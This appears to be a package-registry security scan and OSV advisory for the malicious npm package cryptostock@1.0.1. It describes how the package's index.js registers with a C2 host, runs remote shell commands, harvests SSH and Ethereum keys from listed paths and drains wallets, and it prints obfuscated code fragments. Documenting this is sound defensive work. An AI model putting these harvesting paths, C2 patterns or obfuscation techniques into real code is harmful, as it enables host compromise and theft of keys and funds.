registry / cryptostock / 1.0.1

cryptostock@1.0.1

AI Security Review

scanned 6d ago · by lpm-firewall-ai

Importing index.js starts host identification, encrypted C2 registration, command polling, and delayed wallet-key harvesting. Harvested keys are exfiltrated and usable Ethereum keys are drained.

Static reason

One or more suspicious static signals were detected.

Trigger

Runtime import/require of the package main entrypoint.

Impact

Host compromise, private-key exfiltration, and theft of Ethereum funds.

Mechanism

Obfuscated C2 remote-command execution, credential theft, and cryptocurrency draining.

Attack narrative

On import, index.js attempts to persist a host ID, register with a C2 endpoint, poll it for shell commands, and exfiltrate command output. After a random delay it searches common SSH and wallet-key locations, sends discovered contents to the C2, extracts 64-hex private keys, and signs transfers of available ETH to a hard-coded drain address.

Rationale

The source directly implements credential theft, remote command execution, C2 communication, and wallet draining; missing declared dependencies may impair execution but do not change its malicious intent.

Evidence

package.jsonindex.js/var/run/badai_agent.uid/etc/machine-id/root/.ssh/home/*/.ssh/opt/wallet-keys/etc/ssl/private/.ethereum/keystore/var/lib/ethereum/keystore/mnt/crypto/wallets

Network endpoints4

badai.run.place/typebadai.run.place/payloadbadai.run.place/filemainnet.infura.io/v3/

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-13693

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in cryptostock (npm)

Details

index.js is an obfuscated payload that, on require(), starts a C2 client against https://badai.run.place: it registers a UID, long-polls /cekappapiapi.php for shell commands, executes them via child_process.exec, and POSTs stdout/stderr back to /fallback.php (AES-256-ECB encrypted). After a randomized 2-8 minute delay it enumerates installer-owned secret directories (/root/.ssh, /home/*/.ssh, /opt/wallet-keys, /etc/ssl/private, ~/.ethereum/keystore, /var/lib/ethereum/keystore, /mnt/crypto/wallets) via `find` for *.pem/*.key/UTC--*/keystore files, filters those containing 'PRIVATE KEY', and reads process.env.ETH_PRIVATE_KEY; matches are exfiltrated to badai.run.place. For each harvested 64-hex private key the code instantiates web3 against Infura mainnet and broadcasts a signed ETH transfer of the account balance (minus gas) to a hardcoded drain address. Strings including module names, the C2 host, private-key markers, and keystore paths are base64-encoded in a string table and decoded at runtime; the file header self-identifies as an obfuscated build integrating StealthC2 from Badnew.py.

References

OSV advisory PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js starts an obfuscated C2 loop on module import.
index.js executes server-supplied commands through child_process.exec.
index.js searches SSH, PEM, key, and Ethereum keystore paths.
index.js sends harvested file contents and ETH_PRIVATE_KEY to the C2.
index.js derives accounts from private keys and transfers balances to a hard-coded drain address.

Evidence against

package.json has no lifecycle scripts.
package.json omits axios and web3, so imports may fail as published.

Behavioral surface

Source

DynamicRequireEnvironmentVarsFilesystem

Supply chain

HighEntropyStringsObfuscated

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 8.97 KB of source

Source & flagged code

2 flagged

index.jsView file

44function _0x2d1a(str) { L45: return Buffer.from(str, 'base64').toString(); L46: } ... L52: const _0x9d0 = require(_0x2d1a(_0x3f4a[4])); // crypto L53: const _0x5b6 = require(_0x2d1a(_0x3f4a[5])); // axios L54: const _0x6c7 = require(_0x2d1a(_0x3f4a[6])); // web3 (but web3 is assigned later) ... L89: } else { L90: _0x4m0 = require('os').hostname(); L91: } ... L116: const _0xbt7 = this._0x5n1(_0xas6); L117: await _0x5b6.post(this[_0x2d1a(_0x3f4a[8])] + _0x2d1a(_0x3f4a[14]), _0xbt7, { L118: headers: { 'Content-Type': 'text/plain' },

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.jsView on unpkg · L44

47L48: const _0x8b9 = require(_0x2d1a(_0x3f4a[0])); // fs L49: const _0x4e2 = require(_0x2d1a(_0x3f4a[1])); // path

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.jsView on unpkg · L47

Source & flagged code

2 flagged · loading source

index.jsView file

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.jsView on unpkg · L44

47L48: const _0x8b9 = require(_0x2d1a(_0x3f4a[0])); // fs L49: const _0x4e2 = require(_0x2d1a(_0x3f4a[1])); // path

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.jsView on unpkg · L47

Findings

1 High3 Medium4 Low

HighBase64 Obscured Urlindex.js

MediumDynamic Requireindex.js

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowObfuscated

LowHigh Entropy Strings